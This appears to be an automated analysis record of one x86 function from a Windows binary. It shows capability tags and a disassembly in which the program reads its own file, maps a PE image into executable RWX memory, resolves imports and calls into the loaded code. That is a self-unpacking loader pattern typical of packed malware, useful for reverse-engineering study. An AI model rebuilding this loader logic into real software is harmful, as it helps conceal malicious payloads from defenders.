Function at 0x42bd10
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
sub esp, 0x820
push ebx
push ebp
push esi
push edi
xor eax, eax
mov word [esp + 0x30], ax
push 0x400
xor edi, edi
lea eax, [esp + 0x34]
push eax
mov ebp, edi
mov ebx, edi
push edi
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x30]
push edi
push 0x8000000
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x42bdb0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
mov ecx, ebp
mov dword [esp + 0x14], ebp
call fcn.0042bf9b
mov ebx, eax
push edi
lea eax, [esp + 0x30]
push eax
push ebp
push ebx
push esi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42bd96
cmp dword [esp + 0x2c], ebp
je 0x42bda9
mov ecx, ebx
call fcn.0042bf8b
mov ebx, edi
mov dword [esp + 0x10], ebx
mov ebp, edi
mov dword [esp + 0x14], edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
mov ecx, ebx
call fcn.0042bb7e
mov esi, dword [esp + 0x18]
push 0x40
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [esp + 0x20], eax
mov eax, dword [eax + 0x50]
mov dword [esp + 0x2c], eax
add eax, 0x14
push 0x3000
add eax, ebp
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [esp + 0x20], edi
test edi, edi
je 0x42bf07
push 0x40
mov edx, esi
mov ecx, edi
call fcn.0042bf45
mov esi, dword [esp + 0x1c]
mov ecx, dword [edi + 0x3c]
movzx eax, word [esi + 0x14]
add ecx, edi
push eax
mov edx, esi
mov dword [esp + 0x28], ecx
call fcn.0042bf45
movzx ecx, word [esi + 0x14]
mov edx, dword [esp + 0x24]
movzx ebx, word [esi + 6]
lea eax, [esi + 0x18]
add ecx, eax
movzx eax, word [edx + 0x14]
lea esi, [edx + 0x18]
add esi, eax
mov dword [esp + 0x1c], ecx
test ebx, ebx
je 0x42be88
mov ebp, ecx
sub ebp, esi
mov edi, ebx
push 0x28
lea edx, [esi + ebp]
mov ecx, esi
call fcn.0042bf45
add esi, 0x28
dec edi
jne 0x42be44
mov ebp, dword [esp + 0x14]
mov edi, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
test ebx, ebx
je 0x42be88
mov ebp, dword [esp + 0x18]
lea esi, [ecx + 0x14]
mov edx, dword [esi]
mov ecx, dword [esi - 8]
push dword [esi - 4]
add edx, ebp
add ecx, edi
call fcn.0042bf45
lea esi, [esi + 0x28]
dec ebx
jne 0x42be6d
mov ebp, dword [esp + 0x14]
mov ebx, dword [esp + 0x24]
add ebx, 0x18
push ebx
mov edx, edi
mov ecx, edi
call fcn.0042bc71
add edi, dword [esp + 0x28]
push str.KERNEL32
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [esp + 0x10]
mov dword [esi], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 8], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esi + 4], eax
lea eax, [edi + 0x14]
sub eax, esi
push ebp
lea ecx, [edi + 0x14]
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], ebp
call fcn.0042bf45
mov esi, dword [esp + 0x20]
mov eax, dword [ebx + 0x60]
push esi
mov ecx, dword [eax + esi + 0x10]
mov eax, dword [eax + esi + 0x1c]
shl ecx, 2
sub eax, ecx
mov eax, dword [eax + esi + 4]
add eax, esi
call eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
mov ecx, esi
call fcn.0042bf8b
mov ecx, ebx
call fcn.0042bf8b
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x820
ret